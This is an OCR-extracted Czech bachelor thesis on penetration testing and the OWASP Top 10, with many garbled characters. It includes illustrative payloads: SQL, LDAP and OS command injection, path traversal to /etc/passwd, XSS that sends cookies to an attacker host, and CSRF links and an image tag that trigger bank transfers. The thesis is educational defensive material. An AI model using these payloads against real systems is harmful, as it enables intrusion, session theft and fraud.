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ABSTRAKT

Bakalarska prace je zamérena na oblast penetracniho testovani, v niz ma nabidnout kom-
plexni nastroj pro automatizované skenovani zranitelnosti vybranymi nastroji. Popsany
jsou zakladni techniky penetracnich testii, webové zranitelnosti OWASP Top 10, pri-
klady atoki na zranitelnosti a obrana proti nim. Dilezitym bodem je seznam uzitecnych
nastroji pfi manudlnich a poloautomatizovanych penetracnich testech. Hlavnim cilem je
navrh architektury a implementace nastroje Vixen, ktery integruje vybrané nastroje pro
penetracni testovani.

KLICOVA SLOVA

Penetracni testovani, webové zranitelnosti, webova bezpecnost, OWASP Top 10, nastroje
pro penetracni testovani, Python, integrace nastroju.

ABSTRACT

The bachelor thesis is focused on the field of penetration testing, in which it offers a
comprehensive tool for automated scanning of vulnerabilities with selected tools. There
are described the basic techniques of penetration tests, web vulnerabilities by OWASP
Top 10, examples of vulnerability attacks and defense against them. An important point
is the list of useful tools in manual and semi-automated penetration tests. The main goal
is to design architecture and implementation of Vixen, which integrates selected tools
for penetration testing.

KEYWORDS

Penetration testing, web vulnerabilities, web security, OWASP Top 10, penetration test-
ing tools, Python, tool integration.
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1 Uvod

V soucasné dobé je prohlizeni World Wide Web (WWWI) béZznou zdlezitosti a setkala
se s nim vétsina populace. Malo lidi si vsak uvédomuje, jaka rizika nas na Inter-
netu obklopuji. Denné jsou webové aplikace véetné uzivatelti vystavovany ttokim a
dochazi k incidentim, které poskozuji nejriznéjsi odvétvi. Proto je nutné klast velky
diraz na bezpecnost a s tim je spojeno i testovani bezpecnosti webovych aplikaci.

Zpocatku se prace vénuje uvodu do penetracniho testovani. Zminuji jednotlivé
faze a varianty, které mohou byt pfi testovani aplikovany.

Ve treti kapitole provadim rozbor zranitelnosti OWASP Top 10 z roku 2017, u
nichz jsou uvedeny i priklady pro lepsi pochopeni dané problematiky.

Ctvrta kapitola zahrnuje vycet zakladnich ndstroji pouzitelnych pfi penetracnim
testovani. Rozlisuji nastroje na zakladé fazi, ve které jsou pouzivany. V celé praci
je kladen dtraz na pouziti bezplatnych open—source a komunitnich projektt pod
verejnymi licencemi.

V paté kapitole se zabyvam néstroji, jenz nabizeji Sirsi spektrum testovanych
zranitelnosti v oblasti webovych aplikaci.

Cilem prace je poskytnout feseni formou nastroje, ktery automatizované vyuziva
vybrané Application programming interface (API) ndstroji nebo je samotné pro
penetracni testovani. Vystupy budou predany a zpracovany prostiednictvim Integrated
Pentest Environment ([PE) FARADAY[ ktery slouzf jako interpretacni néstroj
vysledkil z penetracniho testovani a umoznuje jejich snadnou analyzu a vyhodno-
ceni. Danou zalezitosti se zabyva kapitola Sestd, ktera je stézejnim bodem a popisuje
predevsim realizovanou implementaci, vyhody a nevyhody, vize dalsiho vyvoje a

ukazku praktického pouziti.

Ohttps://www.faradaysec.com/
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2 Zaklady penetracniho testovani

Penetracni testovani je technika pouzivana pro testovani sitové bezpecnosti na trovni
politadi, systémi a predeviim aplikaci. Uéelem je ovétit odolnost vybranych objektt
vici znamym zranitelnostem. Vzhledem k neustale rostoucimu poc¢tu zranitelnosti je
¢asoveé narocné a slozité manudlné prochazet vsechny potenciondlni skuliny, a proto
se vyviji nastroje pro penetracni testovani, které dokazi praci podstatné urychlit
a zjednodusit. V praxi lze narazit na aplikace, jez jsou plné automatizované a v
pravidelnych intervalech testuji vybranou infrastrukturu proti poslednim zranitel-
nostem. Na automatizované nastroje se vsak nelze spoléhat, jelikoz nemusi objevit
a analyzovat vSechny bezpecnostni rizika dané aplikace. Jsou faze, které se bez fan-
tazie nebo manualniho testovani neobejdou. Stézejni casti penetrac¢niho testovani
je zpracovani vysledki, které vyzaduje komplexni prehled zjisténych skutecnosti a
v idedlnim pripadé uvede i Teseni pro dany problém. Proto se doporucuje vést si
kontrolni seznam provérenych zranitelnosti, ktery nam umozni lepsi zpétnou kon-
trolu a soucasné se prokaze pripadné pochybeni z minulosti. Penetrac¢ni testovani
probiha opakované v zavislosti na zménéch v systému nebo webové aplikaci. Kvalita
provedeného testu zavisi na znalostech a zkusenostech penetracniho testera. [1]
Nize uvedené faze testovani jsou pouze objektivnim prikladem pro pochopeni
dané problematiky. Z praktického hlediska lze nékteré techniky zminéné ve fazi
prizkumu povazovat za mapovani cile. Pokud vsak k této ¢innosti dochézi prostred-
nictvim tfetich stran, mizeme tento proces oznacit za pasivni prizkum, jelikoz ne-

musi dochazet k primému kontaktu s cilem.

2.1 Recon

Neboli prizkum, zjisténi IP adresy, domény, lokace, hledani chybovych stranek a
citlivych informaci pomoci techniky Google Hacking?, detekce pouzitych platforem
a aplikaci, analyza zdrojového kodu, prochazeni dostupnych zdroji serveru. Pohy-
bujeme se prevazné v pasivni formé testovani bez abnormalnich pozadavkt vici

cili.

2.2 Mapping

Mapovani cile, probiha kontrola otevienych porti, analyza bézicich sluzeb, objevovani
skrytych vlastnosti, funkci a zdrojovych cest k souboriim nebo skriptim. Identi-
fikujeme nedostatky v konfiguraci serveru. Jde jiz o aktivnéjsi formu prizkumu,

ale prevazné na turovni uzivatele. Neékteré aktivity mohou byt na strané serveru

B pokroéilé vyhleddvani na Google



detekovatelné pomoci Introdusion Detection System/Introdution Prevention Sys-

tem (IDS/IPS).

2.3 Discovery

Objevovani potencionalnich zranitelnosti, prizkum z pohledu tutoc¢nika, testovani
pomoci poloautomatizovanych a automatizovanych nastrojt, manualni testovani
vstupt a ovérovani vystupi. Pravdépodobnost odhaleni takového prizkumu je vysoka
— pouzivaji se znamé signatury, které jsou rozpoznatelné na a logu serveru.

2.4 Exploitation

Zmeuziti samotnych mechanismii a vyuziti objevenych zranitelnosti pro ziskéani citlivych

dat, zneuziti funkci, pokus o napachani skod nebo vytvoreni zadnich vratek.

2.5 Report

Zéavérecné zpracovani ziskanych informaci a dat z penetracniho testu, posuzujeme

rizika a dopady na infrastrukturu. Mizeme navrhnout i feseni daného problému.

2.6 Dalsi varianty testovani

Testovani jako takové rozlisSujeme z nékolika hledisek — troven znalosti systému,

pozice vici testované strané nebo zptisob provedeni.

Znalost systému:

e white-box testy — vSechny znalosti o cili mame k dispozici

e grey-box testy — zakladni znalost systému, pohled oc¢ima uzivatele nebo za-
méstnance firmy, ¢astecna infrastruktura znama

e black-box testy — zname pouze vstupy a potencionélni vystupy, bez znalosti

vnittni infrastruktury a architektury

Testovana strana:

e externi testy — utok z verejné site, pr. Internet

e interni testy — utok z vnéjsi nebo vnitini sité, pr. firemni sif
Zpusob provedeni:

e manualni testy — testovani manualni formou, ¢asova narocnost s potiebou

rozsahlych znalosti a zkusSenosti
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e automatizované testy — vyuzivame automatizované nastroje, snadné a rychlé,
méné spolehlivé

e poloautomatizované testy — vyuzivame obou technik, optimalni reseni

/s NIV

tivni nebo pasivni. V pripadé pasivniho testovani uvazujeme vyslovny pozadavek,
aby shromazdovaci aktivity nebyly objektem zjistény. Prakticky to znamend, ze se
nesmi pouzivat prostredky, které by mohly v testovaném prostiedi zanechat stopy.
Jde o technicky zatézujici proces, ale predchazime mu vyuzitim nastroji a informaci
prostrednictvim tretich stran. Aktivnim testovanim jsou mysleny uvedené hlediska
bez stanovenych hranic a omezeni.

Penetracni testovani probiha pouze za souhlasu administratora pripadné vlast-
nika sluzby. V pripadé komplexniho testovani se lze dopustit naplnéni skutkovych
podstat Tfady trestnych ¢inti, které mohou vést k vysokym pokutdm a odnétim svo-
body na nékolik let. Pri nékterych pozadavcich vyslanych na server miize dojit k
nechténym akcim, které mohou ohrozit nebo omezit funkcénost testované sluzby, v
horsich pripadech hrozi ztrata dat. Penetrac¢ni testovani méa zejména preventivni
charakter, kterym miuzeme pfedejit problémim a ztratdm vlivem Spatné konfigu-
race, implementace nebo pouzitim zranitelného softwaru.

V praxi se dostavame k tadé matoucich technik, které maji za tkol oklamat
utocnika a ztizit faze utoku. Obvykle se setkdvame se spooﬁngemﬁ sluzeb a ap-
likaci, dale lze narazit na honeypoiﬂ které dokazi simulovat leckteré zranitelnosti na
bézicich aplikacich a plsobit jako duvéryhodna zafizeni. V mnoha pripadech je ko-
munikace s vnéjsi siti monitorovana a analyzovana ptes , ¢imz jsou schopni
pouzivané praktiky rozlisit dle signatur a incident ohlasit zodpovédnym osobam.
Aplikace mohou byt navic chrénény formou Web Application Firewall (WAE]) nebo
Runtime Application Self-Protection Security (RASP)), které virtuilné zaplatuj
nebo skryji zranitelnosti. Vsechny zminéné techniky ptivadi nespocet komplikaci
a stavi utoc¢nika do nelehké pozice. PTi testovani zavisi predevsim na domluvé se za-
davatelem penetrac¢niho testu, zda dojde k deaktivaci bezpecnostnich opatteni, aby

bylo mozné provérit realné zranitelnosti dané aplikace. [2]

Blpodvrzenim
Hefl k vyvoldni pokusii o hackovani
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3 Kategorizace webovych zranitelnosti

Zranitelnosti rozliSujeme na zékladé jejich typu a skodlivé akce, kterou mohou zptiso-
bit. Jako idedlni povazuji uvést rozdéleni od komunity The Open Web Application
Security Project (OWASP)). Jde o otevienou komunitu zaméfenou na bezpecnost
webovych aplikaci. Nabizi rady pro bezpecny design a odhalovani zranitelnosti,
soucasné také umoznuje bezplatné a volné pouziti bezpecnostnich nastroji, stan-
dardti, projekti, vyukovych material a riznych uziteénych navodi. Vse za tcelem
zlepseni bezpecnosti v aplikacich. Nejvice popularni je dokument se seznamem de-
seti nejvice kritickych zranitelnosti zndmy jako OWASP Top 10. Prvni publikace
vysla v roce 2003 a je prubézné aktualizovana. V souhrnu se jedna o komplexni
prehled zranitelnosti, jez se nejcastéji vyskytly v implementacich webovych sluzeb a
jsou povazovany za bezpecnostni riziko. Posledni aktualizace probéhla v roce 2017
a je zaloZena na souhrnu zranitelnosti z vice nez 100 000 aplikaci a [APIl Vybér déle

probihal dle jejich vyuzitelnosti, detekovatelnosti a dopadu.

3.1 Injection

Pti injekci dochéazi k odeslani nezadoucich dat ttoénikovi. Jde o velmi rozsitenou
zranitelnost a vyskytuje se v ptivodnim koédu aplikace. Obvykle na ni narazime v
dotazech Structured Query Language (SQL)), Lightweight Directory Access Protocol
(LDAP)), XML Path Language (XPathl). Muze vSak také jit o Operating system (OS]
piikazy, Extensible Markup Language (XMIL]) analyzatory, hlavicky Simple Mail
Transfer Protocol (SMTP]) apod. Inkluzni chovani lze objevit snadno. Pro snazsi
odhaleni je k dispozici spousta nastroji. Chyba prakticky umozni odeslat upraveny
vstup tak, ze se vlozena injekce projevi na strané serveru a utocnik pak touto cestou
muze ¢ist nebo i ménit data v databazi, aplikaci nebo provadét prikazy primo vici
serveru. Jako prevence se implementuji enkodéry a filtry, které vstupni data upravi,

osSetii vyjimky — napt. odstrani specialni znaky.

SQL Injection

Na webovych strankach maji zaméstnanci sviij profil, ktery je viditelny pouze kazdému

samostatné. Funkce na vyhledavani uzivatele v databazi vypadéa nésledovné:

String vstup = "SELECT * FROM uzivatele WHERE uzivID=’"

+ request.getParameter ("id") + "’";

Predpokladejme, Ze jsme se prihlasili k uc¢tu a v adresnim radku muzeme vidét

adresu s ID naseho profilu.

http://nasefirma.cz/data/uzivatel?id=27
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Pokusime se o SQL Injection, ktera nam vrati profily vsech uzivatelii:
http://nasefirma.cz/data/uzivatel?id=27’ or ’1’=’1

Ve skutecnosti jsme zavolali funkci, kterd vzdy vraci true, takze navratovou hodnou
bude kazdy profil v databazi.

String vstup = "SELECT *x FROM uzivatele WHERE uzivID=’27’

or ;1;=;1;n;

LDAP Injection

Vychazime z predpokladu, ze prihlasovaci formular webové aplikace pouziva pro

prohledavani zaméstnanecké databéaze funkci:

hledejLogin= "(&(uid="+uzivatel+"(uzivHeslo={MD5}"+
base64 (pack ("Hx" ,md5 (heslo)))+"))";

Chceme obejit autorizaci, tak vyzkousime injekci, ktera vzdy vyvold navratovou

hodnotu true.
uzivatel=x%) (uid=%)) (| (uid=*heslo=heslo
Vysledny pozadavek po zpracovani serverem bude vypadat nasledovné.

searchlogin="(&(uid=%) (uid=%)) (| (uid=%*) (uzivHeslo=
{MD5 X03M01qnZdYdgyfeuILPmQ==))";}

Na vystupu dostaneme vSechny uzivatele, ktefi pouzivaji jako heslo fetézec heslo.

OS Injection

Jako utoc¢nik se pokousime o Injection na webu http://mujweb.wz.cz. Vytvoiime

payloadE], ktery se po dekddovani aplikuje jako sekvence prikazii.
http://mujweb.wz.cz%20%3B%20/bin/1s%20-1

Po dekdédovani je vysledny pozadavek:
/cesta/k/nslookup cwe.mitre.org ; /bin/ls -1

Jako vysledek dostdvame vypis vSech souboru ve slozce /bin na strané serveru.

Prakticky je mozné provést libovolny prikaz.

Bkéd se skodlivym obsahem
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3.2 Broken Authentication and Session Management

Nejcastéjsi zranitelnosti vyskytujici se v prihlasovacich mechanismech. Pomoci ttoku
s pouzitim hrubé sily lze uhddnout slabé hesla a pti Spatné implementaci session IDE]
muzeme obejit autorizaci. V pripadé, Ze nejsou funkce aplikace spravné implemen-
tovany, uto¢niktim pak zjednodusujeme realizaci itoku pro ziskani hesel, session ID
a dalsich citlivych dat. Session ID musi byt ndhodna pro kazdého uzivatele, nejlépe
svazana s konkrétni [P adresou a neméla by se vyskytovat v Uniform Resource Loca-
tor (URL). Problémum v této oblasti pFedchazime vhodnou autentizaci uZivatele a
spravnym managementem session ID. Definujeme, dokumentujeme zasady a politiku

na ovéreni uzivatelt. Dilezita je téz kontrola autorizace na kazdé strance aplikace.

Kritické oblasti:

e sila hesel — kombinace a délka riznych znakt

e pocet pouziti hesel — omezeni poc¢tu pokusii o prihlaseni

e zména hesel — bezpeéna implementace procesu obnoveni a zmény hesla

e tulozisté hesel — hesla ukladana ve formé hashe nebo sifry

e ochrana prihlasovacich tidajt pri prenosu — pouziti Secure Sockets Lay-
er/Transport Layer Security (SSL/TLS])

e ochrana session ID — celd relace uzivatele chranéna protokolem ,
svazana s [P adresou a umisténa vyhradné v cookieE] hlavicky Hypertext Tran-
fer Protocol (HTTD).

e databaze uzivateli — znemoznéni pristupu do databédze uzivatelt

e docasnd pamét prohlizece — nikdy neovéfovat a neautorizovat uzivatele
[HTTP metodou GETf| (ponechévd se v mezipaméti), vypnout automatické
doplnovani

e ovéreni navaznosti — sifova architektura zabranujici implicitni davére mezi

komponentami

Spatna ochrana session ID

Jsme piihlaSeni k webové strance, kterd nabizi Siroky sortiment zboZi. Nase [URL]

vypada nasledovné:
http://obchod.cz/?7zbozi=telefon8\&session=2930413

Webovy obchod umistil session ID do[URILl Pod nasim t¢tem mame registrovanou

i platebni kartu. Pokud bychom odkaz poslali nékomu jinému, oteviela by se mu nase

Bidentifikitor relace
@malé mnozstvi dat ukladané v prohlizeci
Blmetoda pozadujici data ze specifického zdroje pies protokol HT'TP
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relace a mohl by v nasem nakupu pokracovat, pozménit informace a zneuzit tak nasi
kartu. [4]

3.3 Cross-Site Scripting

Utok se vétSinou realizuje na strané klienta. Vyuzivdme zranitelnosti na legitimni
webové strance ke spustén{ skodlivého kédu. Utocnik netitod] na obét pi{mo, nebot
skodlivy kod obdrzi od zranitelné stranky. Data obvykle vstupuji do webové ap-
likace prostrednictvim nedtavéryhodného zdroje, napt. pozadavku na web. Nejcastéji
dochazi k predani pres dynamicky obsah webu, ktery se odesila bez ovéreni. Dle typu
pak chyba umoznuje utoc¢nikovi zamérit se i na dalsi uzivatele. Nejcastéji dochazi
ke spusténi J avaScriptuﬂ, jelikoZ vyvojafi nékteré vystupy neosetiuji. Uspésny ttok
muze zpusobit velké skody. Primarné rozlisujeme tii typy Cross-site scripting (XSS

utoku.

1) Reflected XSS

Skodlivy skript je vkladan jako ¢ast [HTTPl pozadavku zasflaného viéi serveru. Ten
je pak zpétné odrazen klientovi. Pt. odkazy v phishing@] e-mailech.

http://mujweb.cz/stranka?var=<script>alert(’xss’)</script>

Po otevieni odkazu se vyuzije zranitelnosti ze stranky a spusti se vlozeny skript.

2) DOM based XSS

Pokrocily utok, payload se spousti u klienta bez ti¢asti serveru. Podstatou je Document
Object Model (DOMI), ktery nahrazuje ¢ast Hypertext Markup Language (HTMII).
Stranka se nijak nemeéni, vyuziva se objektt jako document.URL, document.hash,

document.referrer nebo document.cookie k akcim, které mohou byt zneuzity itoc¢nikem.

http://moje-banka.com/page.html?default=<script>
window.location="http://web-utocnika.cz/?

cookie=" + document.cookie</script>}

Uvedeny priklad odesle cookie uzivatele z legitimni stranky na web tutoénika ve
formé [HTTP| pozadavku.

3) Stored XSS

Nejzavaznéjsi XSS zranitelnost, vyuzivame formulaii pro vkladani obsahu. Pt. skript

trvale umistime jako prispévek v ramci blogu nebo féra. Spusténi probéhne s kazdym

B programovaci jazyk pro HTML a dalsi webové technologie

/////
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nactenim stranky.

Webova stranka, na kterou ttoc¢ime:
http://mujblog.cz/forum

Prispévek vlozeny na férum:
Utok:<script>alert(’xss’)</script>

Existuje ochrana dvojiho druhu — na strané serveru nebo klienta. V pripadé
serveru vyuzivame vystupni kédovani, filtry specidlnich znakt nebo kontrolni me-
chanismy pro Cross-Origin Resource Sharing (CORS)[] Dalsfm bodem je pouziti
bezpecnych funkci v implementaci webové stranky. Jako prevence na strané klienta
muizou poslouzit dopliky v prohlizeci — ScriptSafe, uMatrix, NoScript apod. Doplnky

umoznuji vychozi blokovani skriptii.

Double Submit Cookie Considerations

Dvojité zasilani idaji o cookie funguje jako ochrana proti Cross-Site Request Forgery

(CSRE)), ale soucasné nachdzi vyuziti proti vzdalenym XSS utokim.
Access-Control-Allow-0Origin: *.myweb.com

Kontroluje, zda pozadavek na skript pochézi z povolené domény. Ke zméné by mohlo

dojit prosttednictvim HTTP ProxyE[ Proto je nutné pouzivat HT'TP spolupracujici
s SSL/TLS (HTTPS).

Access-Control-Allow-Headers: X-Own-Header

Definuje zédhlavi povolend pro predbézné pozadavky.

Casto se ve webovych aplikacich objevuji skripty a obsah z jinjch webovych
zdroji. Z bezpecnostnich divodu jsou nékteré [HTTP] poZzadavky omezovany na ste-
jnou doménu. Moderni prohlizece s podporou vkladaji tzv. preflight request
neboli pozadavek predbézné kontroly, ktery ovéruje opravnénost pozadavku.
je mechanismus, ktery agentovi umozni ptistup k vybranym prostiredkiim i z jinym
domén. Miize byt vyuzivan prostirednictvim XMLHttpRequesﬁ v hlavicce [HTTP

ktery ve vychozim nastaveni k¥izovy ptivod nepovoli.

X-Requested-With: XMLHttpRequest

M0 mechanismus umoziiujici sdileni zdroji mezi webovymi servery
M gerver umoziiujici analyzovat nebo pozménit obsah komunikace, funguje jako prostiednik mezi

klientem a serverem
@3 hrostiedek objektové interakee se servery
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3.4

Broken Access Control

Kontrola pristupu neboli autorizace ma umoznit fyzicky pristup k webové aplikaci,

jejimu obsahu a funkcim pouze specifickym uzivatelim. Existuji vSak pripady, kdy je

podéana neprivilegovand zadost a Spatné implementovana kontrola pristupu umozni

pristup k citlivym datim. Proto je nutné rozliSovat privilegované uzivatele a nahodné

uzivatele Internetu. V nékterych situacich je kontrola pristupu rozmisténa po celém

kodu

tak, ze sbirka pravidel se rozptyli a je slozité sledovat a pochopit neucelenou

strukturu. Kromé pristupu k citlivym datiim mtze dojit ke zméné a mazani obsahu,

v nejhorsim pripadé i prevzeti administrace nad webem.

Nejcastéjsi chyby:

Insecure ID’s — pouziti nevhodnych session ID

Forced Browsing Past Access Control Checks — vynucené prochazeni
kontroly pristupu, napf. presmérovani na autorizacni stranku pii prochazeni
webu

Path Traversal — umoznuje prochazeni souboru a adresari mimo aplikaci

http://mypage.cz/get?file=../../../etc/passwd
http://mypage.cz/../../../etc/passwd

P1i pouziti [URL kddovani:
http://mypage.cz/%2e%2e%2f%2e%2e%2f%2e%2e%2fetc 2t

passwd

File Permissions — chyba v konfiguraci pristupovych prav ke specifickym
soubortim, které by nemély byt verejné pristupné, napt. konfiguracni soubory,
vychozi soubory a nékteré skripty.

Client Side Caching — webové prohlizece bézné uchovavaji docasné soubory,
kterda muze utocniktim umoznit pristup k bézné nedostupnym misttim aplikace.
Vyvojafi jsou proto nuceni pouzivat rizné mechanismy vyskytujici se v[HTTDI
hlavickach, aby se ujistili, ze stranky s divérnymi informacemi nebudou

ukladany mezi docasné soubory.

Chybéjici kontrola SQL volani

http://www.company.com/employee/accountInfo?user=peter

Aplikace pouziva pro neovérend data SQL volani, ktera zpristupnuji informace o

uctu.

psmt.setString (1, request.getParameter ("user"));

ResultSet results = pstmt.executeQuery( );
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Utocnikovi stac¢i modifikovat parametr "user', a pokud neprobihé spravné ovéreni,

zpristupni se ucet kteréhokoliv uzivatele.

http://www.company.com/employee/accountInfo?user=admin

3.5 Security Misconfiguration

Silné zabezpeceni vyzaduje spravnou konfiguraci. Pfi nasazovani aplikaci a sluzeb
je nutné udrzovat veskery software a firmware aktualizovany. Nové zranitelnosti se
stale objevuji a tito¢nici na vydani zaplat necekaji. Pokud je néktera ¢ast konfigurace
nachylna k utoku, klasifikujeme ji z hlediska bezpecnosti jako nespravnou konfi-
guraci. Dopady se samozrejmé lisi, ale v nejhorsich pripadech dochazi k dplnému
prevzeti kontroly, coz muze vyustit ke kradezi citlivych dat nebo jejich drahou ob-
novu. Jedinou cestou k nalezeni Spatné konfigurace je prizkum v ramci daného
systému a vhodné je také zvazit mozna vylepseni. V zasadé je dulezité deaktivovat
vsechny funkce a vlastnosti, které nejsou vyuzity — uzivatelské ucty, prava, porty,
moduly. Kontrola by se méla téz tykat pristupovych udaji k vychozim tc¢tum. Jako
security misconfiguration muzeme povazovat tfeba chybdjici priznaky v [HTTP] hla-
vickach, napt. httpOnly, ktery se vklada do hlavicky cookie a zamezi se tim pristup

javascriptu k session ID (ochrana proti [XSS]).

Volné pristupna konfiguracni stranka
Nasim tkolem je najit konfigurac¢ni soubor pro danou webovou sluzbu.
http://localhost :8080/WebGoat/

Moznosti zkousime libovolné mnozstvi. Obvykle se specifické soubory hledaji pomoci

brute-forcd™ technik.

web.config
config
appname.config

conf
Posledni moznost nam otevtela cestu ke konfiguraci.

http://localhost :8080/WebGoat/conf

Konzole administratora

Konzole administratora se na aplikac¢ni server instaluje automaticky, ale nebyla

odstranéna a vychozi ucty také ne. Uto¢nik objevi administratorskou stranku na

M ytok hrubou silou
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serveru, prihlasuje se vychozimi tdaji a prebira kontrolu nad serverem. Obvykle k
témto situacich dochéazi vlivem nedostatku zkuSenosti nebo pripadné nepozornosti

pri realizaci néjakého projektu.

3.6 Sensitive Data Exposure

Mnoho aplikaci a[APIlnedostatecéné chrani citliva data, a to zejména v oblasti financi
a ve zdravotnictvi. Uto¢nici pak mohou ukradnout nebo upravit slabé chranéna data,
zahdjit podvody s kreditnimi kartami, kradeze identity aj. Citliva data vyzaduji
ochranu formou Sifrovani, a to obzvlast pti jejich prenosu. Odhalenim citlivych dat
jsou na mysli hesla, platebni informace, session ID, adresy uzivateli, rodna ¢isla nebo
i chorobopisy. Duvodem odhaleni muze byt také Spatnd konfigurace HTTPS], pouziti
zastaralych verzi nebo slabé verze hashovacich a Sifrovacich algoritmi.
Aplikace by méla uzivatele ujistit, ze pristup je autorizovany a Sifrovany. Dulezita
je 1 validita certifikiti a Certificate Authority ((CA).

Sensitive Data Exposure vlivem Buffer Overflow

Rezervujeme si hotelovy pokoj, ale rddi bychom si zjistili, kdo a kde bude ubytovan

soucasné s nami. Formula¥ odesild [HTTP] metodu POST[™] tyto parametry:

first_name=Jan&last_name=Stangler&room_no=307&3UBMIT=Submit

Pokusime se vyvolat buffer overﬂow[?] vlozenim prilis dlouhého vstupu do parametru

r00M__MNO.

price_plan=%249.99+-+24+hours&SUBMIT=Accept+Terms&

last_name=Jan&first_name=Jan&room_no=0123456789

Zésobnik nasi aplikace dokaze pojmout 4096 bajt, pri delSim vstupu dojde k
preteceni. Pro parametr room_no jsme vlozili fetézec dlouhy 4097 bajti. Kromé

dat, které jsme vyplnily do formulart, nam server vratil i néjaké informace navic.

<input name=’a’ type=’HIDDEN’ value=’Jan’>

<input name=’b’ type=’HIDDEN’ value=’Stangler’>
<input name=’c’ type=’HIDDEN’ value=’0123456789...°>
<input name=’d’ type=’hidden’ value=’Johnathan’>
<input name=’e’ type=’hidden’ value=’Ravern’>
value=’4321">
value=’John’>
value=’8mith’>

value=’56">

~

<input name=’f’ type=’hidden

-

<input name=’g’ type=’hidden

-

<input name=’h’ type=’hidden

-

<input name=’i’ type=’hidden

& metoda posilajici data ke zpracovani na specificky zdroj pres protokol HTTP
pfeteéeni zasobniku
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Predpokladali jsme, ze aplikace ma Spatné oSetfené vstupy pro registraci pokoje
a donutili jsme ji nacist do paméti vice dat nez je schopna do zasobniku umistit.
Prepsali jsme tak pamét tésné za zasobnikem, coz mohlo zpiisobit zavolani nékteré z
funkci nebo primo vratit data, které se na zasobniku v daném misté zrovna nachazely.

V nasem ptipadé jsme obdrzeli ¢ast klientii hotelu, ktefi si také zarezervovali pokoj.

Nesifrované spojeni mezi serverem a klientem

Webova stranka nepouziva [SSL/TLS| pro nékteré podstranky, na jez se klient dostal
aZ po autentizaci. Uto¢nik, jenz naslouchd sitovou komunikaci tak miZe odhalit ses-

sion ID uzivatele a proniknout do jeho relace.

3.7 Insufficient Attack Protection

Kategorie se zabyva schopnostmi aplikaci reagovat viici itoktim. Podstatou je prede-
jit nebo adekvatné reagovat na manudlni a automatizované utoky. Metody zahrnuji
penetracni testovani a vyhodnocovani zranitelnosti. Nelze se spoléhat na bezpecnost
konkrétni aplikace, a proto se pokousime skryt potenciondlni zranitelnosti pomoci
standardnich odpovédi, aby ttoc¢nici nabyli dojmu, ze aplikace danou zranitelnosti
netrpi. Existuji feseni, kterd jsou lehce aplikovatelnd na zdrojovy kod proti ske-
novani zranitelnosti a pritom jsou stale schopna aplikaci ubranit proti jednoduchym,
ale i sofistikovanym kybernetickym ttoktim. Idealnim scénafem je implementace
technologii jako [WAT] [RASP] nebo pirimo OWASP AppSensoif | které detekuji a
blokuji utoky, pripadné virtualné zaplatuji potencionalni zranitelnosti. V praxi vSak
narazime na organizace, které jsou nerozhodné pti implementaci teprve vznikajici
technologie jako je RASPL Nejvétsi obavy panuji v oblasti vykonu, funkcionality a
také bezpecnosti. S feSenim prichazi kombinace zvand Interactive Application Secu-
rity Testing (LAST]), kterd je podobna technologii [RASP] a je vitanym fesenim pro
siroké spektrum aplikaci. Znacnou vyhodou je pfiméa integrace jiz béhem vyvoje a

testovani aplikace.

Skenovani zranitelnosti na webové strance

Uto¢nik pouZiva automatizovany néstroj pro penetracni testovani jako je OWASP
ZAP® nebo Arachni™} Pokousi se objevit zranitelnosti, které by mohl nésledné
vyuzit. Detekce utokitt by méla rozpoznat, Ze je aplikace vystavena neobvyklym

pozadavkim s vyssi intenzitou. Automatické skenovani je snadno rozeznatelné od

Mhttps://www.owasp.org/index.php/OWASP_AppSensor_Project
T8 https://www.owasp.org/index.php/0OWASP_Zed_Attack_Proxy_Project
Mhttp://www.arachni-scanner.com/
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bézného provozu, tudiz spravné implementovana ochrana mnozstvi pozadavkt omezi

nebo nékteré odpoveédi podvrhne.

Manualni testovani webové stranky

Zkuseny utocnik testuje potencialni zranitelnosti na webové strance, eventualné
hleda skryté chyby. Zatimco ttok probiha v delsich intervalech mezi pozadavky, tak
k serveru stale putuji nestandardni pozadavky, které by bézny uzivatel neposilal.
Napriklad vstupy, které nejsou uzivatelskym rozhranim podporovany. Na zakladé
dalsich pozadavkl a ¢asovém horizontu by mélo dojit k vyhodnoceni skodlivého

zameéru utocnika a pristup nasledné omezen nebo odepren.

3.8 Cross-Site Request Forgery

Znamé zkracené jako [CSREl Jde o ttok, jenz vyvold provedeni pozadavku nebo
akce u autorizovaného koncového uzivatele v ramci webové aplikace, ktera touto zra-
nitelnost{ trpi. Pri¢innou je padélany pozadavek, ktery utocnikovi umoziiuje
manipulovat s cookie a session ID uzivatele. Prohlizece a aplikace soudi pozadavek
jako legitimni a tutok tak vynuti koncového uzivatele spustit vybrané akce na webové
sluzbé, do které je koncovy uzivatel autorizovan. S pomoci socidlniho inzenyrstvi lze
pak vynutit libovolnou akei. Pokud je obéti bézny uzivatel, tspésny [CSRE|itok muze
prevést penize z Uc¢tu nebo zménit e-mailovou adresu k prihlaseni apod. V pripadé
spravce uctt muze dojit k ohrozeni celé webové aplikace. Jako prevence se nam
nabizi vlastni [HT TP hlavicka pracujici s XMLHttpRequest, specifikace nebo
dvojitd ochrana cookie, kterd pouziva cookie v hlavicéce [HTTP] a soucasné obsahuje
token™)] v téle pozadavku. Pokrocilejsi ochrany lze dosdhnout tieba pomoci JSON
Web Token (JWTJ), ktery je zaloZzen na autentizaénim kédu Keyed-hash Message
Authentication Code (HMAC).

Dvojita ochrana cookie

--- REQUEST: POST /login --->
<--- RESPONSE: 200 OK -—=

Set-Cookie: session=daf8d2DqPd3; csrfid=xqr4doi9n3;
--- REQUEST: GET /profile --->

Cookie: session=daf8d2DqPd3;
X-XSRF-Token: xqr4doi9n3
<--- RESPONSE: 200 OK -—-

jedine¢ny identifikdtor, lis{ se od session ID
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Phishing e-mail vyuzivajici CSRF

Na e-mail ndm piisla zpréva ohledné vyhry velké ¢astky. Soucasti je hyperlink?!] v

nasledujicim tvaru
http://vyhrajmilionkorun.cz/ted

V tu samou chvili jsme prihldSeni do internetového bankovnictvi, které je bohuzel
zranitelné viaci [CSREL Pod odkazem se ale ve skutecnosti skryva

https://bankovnictvi.cz/transakce.php?ucet=Eva&
suma=15000

V pripadé, ze jsme prihlaseni do internetového bankovnictvi, kliknutim na odkaz

jsme provedli transakci na ucet utocnika.

Stored CRSF utok

Existuje také moznost uloZit ttok na zranitelné misto trvale. Typ ttoku se
nazyva Stored CSRF.

<img src="http://bankovnictvi.cz/transakce?ucet=Bob&
suma=10000&ucet=Eva">

Utoku dosghneme ulozenim znacky napt. IMG nebo IFRAME do pole, které p¥ijima

vvvvvv

Zavaznost utoku se v tomto pripadé podstatné zvysuje.

Vybérovy titok CSRF

